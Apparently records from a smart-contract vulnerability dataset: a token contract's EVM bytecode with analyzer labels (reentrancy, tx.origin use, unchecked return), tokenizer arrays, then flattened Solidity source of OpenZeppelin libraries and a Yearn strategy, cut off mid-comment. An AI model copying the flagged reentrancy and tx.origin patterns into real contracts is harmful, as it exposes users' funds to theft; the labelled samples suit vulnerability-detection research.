1526084016105f7565b600f5481611072846001600160a01b031660009081526001602052604090205490565b61107c9190611e6f565b106110d55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f7565b3060009081526001602052604090205460105481108015906110f75760105491505b80801561110e5750600d54600160a81b900460ff16155b80156111285750600d546001600160a01b03868116911614155b801561113d5750600d54600160b01b900460ff165b1561115d5761114b826113f5565b47801561115b5761115b476115f9565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111a257506001600160a01b03831660009081526004602052604090205460ff165b806111d45750600d546001600160a01b038581169116148015906111d45750600d546001600160a01b03848116911614155b156111e15750600061124f565b600d546001600160a01b03858116911614801561120c5750600c546001600160a01b03848116911614155b15611218576006546008555b600d546001600160a01b0384811691161480156112435750600c546001600160a01b03858116911614155b1561124f576007546008555b3260009081526002602052604080822042908190556001600160a01b038616835291205561127f84848484611633565b50505050565b600081848411156112a95760405162461bcd60e51b81526004016105f79190611d77565b5060006112b68486611ec6565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600190915291822054611310918490611285565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461133f9083611654565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113939086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b1790556000611420606461141a8460556116ba565b90611739565b9050600061142e8284611ec6565b6040805160028082526060820183529293504792600092602083019080368337019050509050308160008151811061147657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114ca57600080fd5b505afa1580156114de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115029190611ad4565b8160018151811061152357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c546115499130911687610b8f565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611582908790600090869030904290600401611dff565b600060405180830381600087803b15801561159c57600080fd5b505af11580156115b0573d6000803e3d6000fd5b5050505060006115c9834761177b90919063ffffffff16565b90506115e4846115df606461141a85600f6116ba565b6117bd565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610676573d6000803e3d6000fd5b80611649576116438484846112bf565b5061127f565b61127f848484611876565b6000806116618385611e6f565b9050838110156116b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f7565b9392505050565b6000826116c95750600061068b565b60006116d58385611ea7565b9050826116e28583611e87565b146116b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f7565b60006116b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197b565b60006116b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611285565b600c546117d59030906001600160a01b031684610b8f565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561183d57600080fd5b505af1158015611851573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108319190611d4a565b600061188284836119a9565b90506118ea8260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112859092919063ffffffff16565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546119199082611654565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061196d9085815260200190565b60405180910390a350505050565b6000818361199c5760405162461bcd60e51b81526004016105f79190611d77565b5060006112b68486611e87565b6000806119c6606461141a600854866116ba90919063ffffffff16565b306000908152600160205260409020549091506119e39082611654565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a349085815260200190565b60405180910390a3611a46838261177b565b949350505050565b8035611a5981611f24565b919050565b60008083601f840112611a6f578081fd5b50813567ffffffffffffffff811115611a86578182fd5b6020830191508360208260051b8501011115611aa157600080fd5b9250929050565b80358015158114611a5957600080fd5b600060208284031215611ac9578081fd5b81356116b381611f24565b600060208284031215611ae5578081fd5b81516116b381611f24565b60008060408385031215611b02578081fd5b8235611b0d81611f24565b91506020830135611b1d81611f24565b809150509250929050565b600080600060608486031215611b3c578081fd5b8335611b4781611f24565b92506020840135611b5781611f24565b929592945050506040919091013590565b60008060408385031215611b7a578182fd5b8235611b8581611f24565b9150611b9360208401611aa8565b90509250929050565b60008060408385031215611bae578182fd5b8235611bb981611f24565b946020939093013593505050565b60008060008060408587031215611bdc578081fd5b843567ffffffffffffffff80821115611bf3578283fd5b611bff88838901611a5e565b90965094506020870135915080821115611c17578283fd5b50611c2487828801611a5e565b95989497509550505050565b60006020808385031215611c42578182fd5b823567ffffffffffffffff80821115611c59578384fd5b818501915085601f830112611c6c578384fd5b813581811115611c7e57611c7e611f0e565b8060051b604051601f19603f83011681018181108582111715611ca357611ca3611f0e565b604052828152858101935084860182860187018a1015611cc1578788fd5b8795505b83861015611cea57611cd681611a4e565b855260019590950194938601938601611cc5565b5098975050505050505050565b600060208284031215611d08578081fd5b6116b382611aa8565b600060208284031215611d22578081fd5b5035919050565b60008060408385031215611d3b578182fd5b50508035926020909101359150565b600080600060608486031215611d5e578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611da357858101830151858201604001528201611d87565b81811115611db45783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e4e5784516001600160a01b031683529383019391830191600101611e29565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e8257611e82611ef8565b500190565b600082611ea257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ec157611ec1611ef8565b500290565b600082821015611ed857611ed8611ef8565b500390565b6000600019821415611ef157611ef1611ef8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a4257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206408f0a0be526dd48ca27c9f195090951fea7be7f1af3b759be4730a3cad38d764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 2581, 2575, 11329, 2546, 12740, 2629, 2278, 2475, 2278, 2549, 2050, 22275, 2549, 2094, 16932, 11387, 2549, 2497, 2549, 2497, 2683, 2683, 2581, 27717, 2581, 2509, 12879, 2549, 2063, 2575, 1013, 1008, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1032, 1064, 1032, 1064, 1064, 1013, 1035, 1035, 1035, 1035, 1064, 1035, 1035, 1035, 1035, 1064, 1064, 1064, 1035, 1035, 1064, 1032, 1064, 1064, 1064, 1064, 1064, 1013, 1032, 1064, 1032, 1064, 1064, 1064, 1035, 1035, 1064, 1064, 1035, 1035, 1064, 1064, 1064, 1064, 1064, 1032, 1064, 1064, 1064, 1064, 1064, 1013, 1013, 1032, 1032, 1064, 1012, 1036, 1064, 1064, 1064, 1035, 1064, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,842
0x97785a81b3505ea9026b2affa709dfd0c9ef24f6
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules\@openzeppelin\contracts\math\SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: node_modules\@openzeppelin\contracts\utils\Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts\strategies\Interfaces\Compound\CTokenI.sol pragma solidity >=0.5.0; interface CTokenI{ /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) external view returns (uint); function exchangeRateCurrent() external returns (uint); function accrualBlockNumber() external view returns (uint); function exchangeRateStored() external view returns (uint); function getCash() external view returns (uint); function accrueInterest() external returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); function totalBorrows() external view returns (uint); function totalSupply() external view returns (uint); } // File: contracts\strategies\Interfaces\Compound\CEtherI.sol pragma solidity >=0.5.16; interface CEtherI is CTokenI{ function redeemUnderlying(uint redeemAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function liquidateBorrow(address borrower, CTokenI cTokenCollateral) external payable; function mint() external payable; } // File: contracts\strategies\Interfaces\UniswapInterfaces\IWETH.sol pragma solidity >=0.5.0; interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; function balanceOf(address) external view returns (uint); } // File: contracts\strategies\Interfaces\Yearn\IController.sol pragma solidity >=0.6.9; interface IController { function withdraw(address, uint256) external; function balanceOf(address) external view returns (uint256); function earn(address, uint256) external; function want(address) external view returns (address); function rewards() external view returns (address); function vaults(address) external view returns (address); function approveStrategy(address, address) external; function setStrategy(address, address) external; function strategies(address) external view returns (address); } // File: contracts\strategies\BaseStrategy.sol pragma solidity >=0.6.0 <0.7.0; struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtLimit; uint256 rateLimit; uint256 lastSync; uint256 totalDebt; uint256 totalReturns; } interface VaultAPI { function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); /* * View how much the Vault would increase this strategy's borrow limit, * based on it's present performance (since its last report). Can be used to * determine expectedReturn in your strategy. */ function creditAvailable() external view returns (uint256); /* * View how much the Vault would like to pull back from the Strategy, * based on it's present performance (since its last report). Can be used to * determine expectedReturn in your strategy. */ function debtOutstanding() external view returns (uint256); /* * View how much the Vault expect this strategy to return at the current block, * based on it's present performance (since its last report). Can be used to * determine expectedReturn in your strategy. */ function expectedReturn() external view returns (uint256); /* * This is the main contact point where the strategy interacts with the Vault. * It is critical that this call is handled as intended by the Strategy. * Therefore, this function will be called by BaseStrategy to make sure the * integration is correct. */ function report(uint256 _harvest) external returns (uint256); /* * This function is used in the scenario where there is a newer strategy that * would hold the same positions as this one, and those positions are easily * transferrable to the newer strategy. These positions must be able to be * transferred at the moment this call is made, if any prep is required to * execute a full transfer in one transaction, that must be accounted for * separately from this call. */ function migrateStrategy(address _newStrategy) external; /* * This function should only be used in the scenario where the strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits it's position as fast as possible, such as a sudden change in market * conditions leading to losses, or an imminent failure in an external * dependency. */ function revokeStrategy() external; /* * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. * */ function governance() external view returns (address); } /* * This interface is here for the keeper bot to use */ interface StrategyAPI { function vault() external view returns (address); function keeper() external view returns (address); function tendTrigger(uint256 gasCost) external view returns (bool); function tend() external; function harvestTrigger(uint256 gasCost) external view returns (bool); function harvest() external; event Harvested(uint256 wantEarned, uint256 lifetimeEarned); } /* * BaseStrategy implements all of the required functionality to interoperate closely * with the core protocol. This contract should be inherited and the abstract methods * implemented to adapt the strategy to the particular needs it has to create a return. */ abstract contract BaseStrategy { using SafeMath for uint256; // Version of this contract function version() external pure returns (string memory) { return "0.1.1"; } VaultAPI public vault; address public strategist; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 wantEarned, uint256 lifetimeEarned); // Adjust this to keep some of the position in reserve in the strategy, // to accomodate larger variations needed to sustain the strategy's core positon(s) uint256 public reserve = 0; // This gets adjusted every time the Strategy reports to the Vault, // and should be used during adjustment of the strategy's positions to "deleverage" // in order to pay back the amount the next time it reports. // // NOTE: Do not edit this variable, for safe usage (only read from it) // NOTE: Strategy should not expect to increase it's working capital until this value // is zero. uint256 public outstanding = 0; bool public emergencyExit; constructor(address _vault) public { vault = VaultAPI(_vault); want = IERC20(vault.token()); want.approve(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = msg.sender; keeper = msg.sender; } function setStrategist(address _strategist) external { require(msg.sender == strategist || msg.sender == governance(), "!governance"); strategist = _strategist; } function setKeeper(address _keeper) external { require(msg.sender == strategist || msg.sender == governance(), "!governance"); keeper = _keeper; } /* * Resolve governance address from Vault contract, used to make * assertions on protected functions in the Strategy */ function governance() internal view returns (address) { return vault.governance(); } /* * Provide an accurate expected value for the return this strategy * would provide to the Vault the next time `report()` is called * (since the last time it was called) */ function expectedReturn() public virtual view returns (uint256); /* * Provide an accurate estimate for the total amount of assets (principle + return) * that this strategy is currently managing, denominated in terms of `want` tokens. * This total should be "realizable" e.g. the total value that could *actually* be * obtained from this strategy if it were to divest it's entire position based on * current on-chain conditions. * * NOTE: care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through flashloan * attacks, oracle manipulations, or other DeFi attack mechanisms). * * NOTE: It is up to governance to use this function in order to correctly order * this strategy relative to its peers in order to minimize losses for the * Vault based on sudden withdrawals. This value should be higher than the * total debt of the strategy and higher than it's expected value to be "safe". */ function estimatedTotalAssets() public virtual view returns (uint256); /* * Perform any strategy unwinding or other calls necessary to capture * the "free return" this strategy has generated since the last time it's * core position(s) were adusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and should * be optimized to minimize losses as much as possible. It is okay to report * "no returns", however this will affect the credit limit extended to the * strategy and reduce it's overall position if lower than expected returns * are sustained for long periods of time. */ function prepareReturn() internal virtual; /* * Perform any adjustments to the core position(s) of this strategy given * what change the Vault made in the "investable capital" available to the * strategy. Note that all "free capital" in the strategy after the report * was made is available for reinvestment. Also note that this number could * be 0, and you should handle that scenario accordingly. */ function adjustPosition() internal virtual; /* * Make as much capital as possible "free" for the Vault to take. Some slippage * is allowed, since when this method is called the strategist is no longer receiving * their performance fee. The goal is for the strategy to divest as quickly as possible * while not suffering exorbitant losses. This function is used during emergency exit * instead of `prepareReturn()` */ function exitPosition() internal virtual; /* * Provide a signal to the keeper that `tend()` should be called. The keeper will provide * the estimated gas cost that they would pay to call `tend()`, and this function should * use that estimate to make a determination if calling it is "worth it" for the keeper. * This is not the only consideration into issuing this trigger, for example if the position * would be negatively affected if `tend()` is not called shortly, then this can return `true` * even if the keeper might be "at a loss" (keepers are always reimbursed by yEarn) * * NOTE: this call and `harvestTrigger` should never return `true` at the same time. * NOTE: if `tend()` is never intended to be called, it should always return `false` */ function tendTrigger(uint256 gasCost) public virtual view returns (bool); function tend() external { if (keeper != address(0)) require(msg.sender == keeper || msg.sender == strategist || msg.sender == governance()); // NOTE: Don't take profits with this call, but adjust for better gains adjustPosition(); } /* * Provide a signal to the keeper that `harvest()` should be called. The keeper will provide * the estimated gas cost that they would pay to call `harvest()`, and this function should * use that estimate to make a determination if calling it is "worth it" for the keeper. * This is not the only 